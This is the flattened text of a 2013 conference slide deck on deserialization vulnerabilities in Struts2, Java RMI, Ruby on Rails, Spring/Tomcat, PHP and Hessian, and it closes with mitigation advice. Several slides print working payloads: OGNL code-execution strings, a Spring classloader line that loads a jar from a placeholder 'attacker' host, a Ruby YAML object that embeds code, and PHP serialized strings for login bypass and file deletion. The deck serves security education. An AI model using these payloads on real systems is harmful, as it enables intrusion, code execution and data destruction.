Serial Killers - or Deserialization for fun and profit
Preview:
DESCRIPTION
Overview of different published de-serialization flaws in multiple different frameworks; Java, RMI, Struts, Spring, Ruby, PHP etc. Presented at Opkoko 2013.1.
Citation preview
- 1. Peter Magnusson Twitter: @blaufish_ omegapoint.se
sakerhetspodcasten.se Serial Killers or Deserializing for fun and
profit Unserialize this! Okay! bomb!
- 2. Intro Broken? Dirty? Native? FINImprove
- 3. ID: 123 TYPE: 3 ID: 123 TYPE: 3 ID: 123 TYPE: 3
unserializeserialize
- 4. Ubiquitous Binary Web Forms File Storage XML JSON GWT
Machine Machine Man Machine Machine temp Machine RPC View State
Event Validation Form Auth Cookie JSON
- 5. The Old Way tempBytes1 = read(stream, 2); data.id =
convertNetworkBytesToInt(tempBytes1); tempBytes2 = read(stream, 2);
data.type = convertNetworkBytesToInt(tempBytes2);
- 6. The New Way data = unserialize( stream ) MAGIC GLUE!
- 7. Unserialize this! Okay! bomb!
- 8. Intro Broken? Dirty? Native? FINImprove
- 9. What if magic glue is terribly broken?
- 10. Java Struts2/XWork
- 11. username=foo&password=bar
- 12. /struts2-blank-2.1.8.1/example/Login.action
xwork2.util.ValueStack.setValue( expr, value ) new Login()
login.setUsername("foo") username=foo&password=bar
login.setPassword("bar") OgnlUtil.setValue(expr, );
Ognl.setValue(compile(name), );
- 13. VULNERABILITY: Executes any OGNL language commands (i.e.
any java) with insufficient filtering EXPLOIT:
#_memberAccess['allowStaticMethodAccess'] = true #foo = new java
.lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo #rt =
@java.lang.Runtime@getRuntime() #rt.exec('mkdir /tmp/PWNED')
http://www.exploit-db.com/exploits/18329/ - Johannes Dahse, Andreas
Nusser, 2011 http://www.exploit-db.com/exploits/14360/ - Meder
Kydyraliev, 2010
- 14. http://127.0.0.1:8081/struts2-blank-
2.1.8.1/example/HelloWorld.action?('u0023_
memberAccess['allowStaticMethodAccess']')
(meh)=true&(aaa)(('u0023context['xwork.M
ethodAccessor.denyMethodExecution']u003
du0023foo')(u0023foou003dnew%20java.la
ng.Boolean(%22false%22)))&(asdf)(('u0023rt.
exit(1)')(u0023rtu003d@java.lang.Runtime @getRuntime()))=1
- 15. protected boolean acceptableName(String name) { if
(name.indexOf('=') != -1 || name.indexOf(',') != -1 ||
name.indexOf('#') != -1 || name.indexOf(':') != -1 ||
name.indexOf("u0023") != -1) { return false; 2006 private String
acceptedParamNames = "[[p{Graph}s]&&[^,#:=]]*"; 2010
private String acceptedParamNames = "[a-zA-Z0-9.][_'s]+"; fix
public static final String ACCEPTED_PARAM_NAMES =
"w+((.w+)|([d+])|((d+))|(['w+'])|(('w+')))*"; protected static
final int PARAM_NAME_MAX_LENGTH = 100; later This code has ALWAYS
been DANGEROUS, protected by input validation only. Somewhere
between 2006 and 2010 the u0023 version of # got lost.
- 16. Revision 956389 - (view) (download) (annotate) - [select
for diffs] Modified Sun Jun 20 19:20:11 2010 UTC (2 years, 9 months
ago) Resolved critical Xwork vulnerability Revision 956397 - (view)
(download) (annotate) - [select for diffs] Modified Sun Jun 20
19:48:18 2010 UTC (2 years, 9 months ago) Slight update to accepted
parameters name pattern to accept also ( and ) Revision 1129979 -
(view) (download) (annotate) - [select for diffs] Modified Wed Jun
1 00:30:25 2011 UTC (22 months, 1 week ago) XW-386 allow x['y'] as
well as x.y Revision 1234212 - (view) (download) (annotate) -
[select for diffs] Modified Sat Jan 21 00:04:43 2012 UTC (14
months, 2 weeks ago) Security issue fixed (see [1] for further
details) [1] https://cwiki.apache.org/confluence/display/WW/S2-009
Revision 1368841 - (view) (download) (annotate) - [select for
diffs] Modified Fri Aug 3 09:16:47 2012 UTC (8 months, 1 week ago)
WW-3860 Restrict accepted parameter name length Thanks to Johno
Crawford for the patch. 1. Regexp 2. Extensible 3. Purpose &
proper use not well defined Not an easy fix!
- 17. Java / RMI
- 18. VULNERABILITY: The class annotation is resolved during
deserialization using the ObjectInputStream.resolveClass method.
The resolveClass reads from ObjectInputStream.readObject. If the
annotation, a codebase URL, is non-null, then it obtains the
classloader for that URL and attempts to load the class. EXPLOIT:
P?? w" ??????Cur [Ljava.rmi.server.ObjID;? ??,d~ pxp sr
metasploit.RMILoader?eD?&??? t file:./rmidummy.jarxpw
http://www.metasploit.com/modules/exploit/multi/misc/java_rmi_server
http://docs.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol4.html
- 19. Ruby
- 20. VULNERABILITY: XML_FORMATTING = { "yaml" => Proc.new {
|yaml| yaml.to_yaml } when "yaml" then YAML::load(content) rescue
content EXPLOIT: --- !ruby/object:ERB template: src: !binary |-
#{Base64.encode64(code)}
http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-
vulnerability-explained/
- 21. Intro Broken? Dirty? Native? FINImprove
- 22. What if magic glue introduce dirty objects?
- 23. Java Spring/Tomcat/Jasper
- 24. java.beans.PropertyDescriptor getWriteMethod("username")
?username=foo invoke("foo")
- 25. VULNERABILITY: Spring unserialize using Java Bean API.
Spring allows poisoning Object.classLoader property. Jasper will
heed Object.classLoader upon loading tag files. EXPLOIT:
class.classLoader.URLs[0]=jar:http://attacker/spring- exploit.jar!/
/META-INF/tags/InputTag.tag:
http://blog.o0o.nu/2010/06/cve-2010-1622.html - Meder
Kydyraliev
- 26. java.beans
?class.classLoader.urls[0]=jar:http://attacker/exploit.jar!/
Object.getClass() Class.getClassLoader()
org.apache.catalina.loader. WebappClassLoader.getUrls()
Array.set(array, 0, new URL("jar:http://attacker/exploit.jar!/") )
Object.getClass.getClassLoader().load() exploit.jar
- 27. "Specify the stop class: BeanInfo info =
Introspector.getBeanInfo(Person.class, Object.class)" "There's a
lot more code out there that doesn't specify stop class, some of it
has to have security implications." MEDER KYDYRALIEV. SUNDAY, JUNE
20, 2010 2013?
- 28. PHP
- 29. From SektionEins, Stefan Esser
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
VULNERABILITY: $data = unserialize($autologin); if
($data['username'] == $adminName && $data['password'] ==
$adminPassword) { EXPLOIT:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
- 30. http://heine.familiedeelstra.com/security/unserialize
VULNERABILITY function __destruct() { if ($this->_temp_tarname
!= '') { @drupal_unlink($this->_temp_tarname); EXPLOIT:
O:11:"Archive_Tar":6:{s:8:"_tarname";N;s:9:"_compress";b:0;s:
14:"_compress_type";s:4:"none";s:10:"_separator";s:1:"
";s:5:"_file";i:0;s:13:"_temp_tarname";s:0:"";} (change
_temp_tarname string to whatever file to delete)
- 31. Intro Broken? Dirty? Native? FINImprove
- 32. What if magic glue expose native code?
- 33. Java/Hessian
- 34. EXPOSES NATIVE ZLIB: public Hessian2Input
unwrapHeaders(Hessian2Input in) throws IOException { InputStream is
= new DeflateInputStream(in); OLD ZLIB VULNERNABILITIES: zlib
inflate() routine vulnerable to buffer overflow The zlib
compression library is vulnerable to a denial-of-service
condition
- 35. Intro Broken? Dirty? Native? FINImprove
- 36. Frameworks MUST NOT: have a f**ing Turing-complete do
anything execution engine for serialization
- 37. Frameworks SHOULD: Implement a WHITE LIST approach rather
than allow anything. (public != safe) @WebSerializable class
PayFormController { @WebSerializable public void setAccount(String
account);
- 38. Developers SHOULD: Only use safe classes for unserializing.
Dont have potentially dangerous code in classes you intend to
unserialize setAccount setAmount setClassLoader setTempFile setDate
destroyMankind
- 39. Frameworks & Developers SHOULD: (where applicable)
require data authenticity (pattern used in VIEWSTATE,
EVENTVALIDATION, & Forms Authentication Cookies) serialized
data Auth HMAC( M, server key )M If Auth != HMAC(M, key)
abort!
- 40. Intro Broken? Dirty? Native? FINImprove
- 41. common shared problems Frameworks & devs should act
upon it DO NOT execute input DO whitelist approach only safe code
in data classes require data authenticity load code from external
url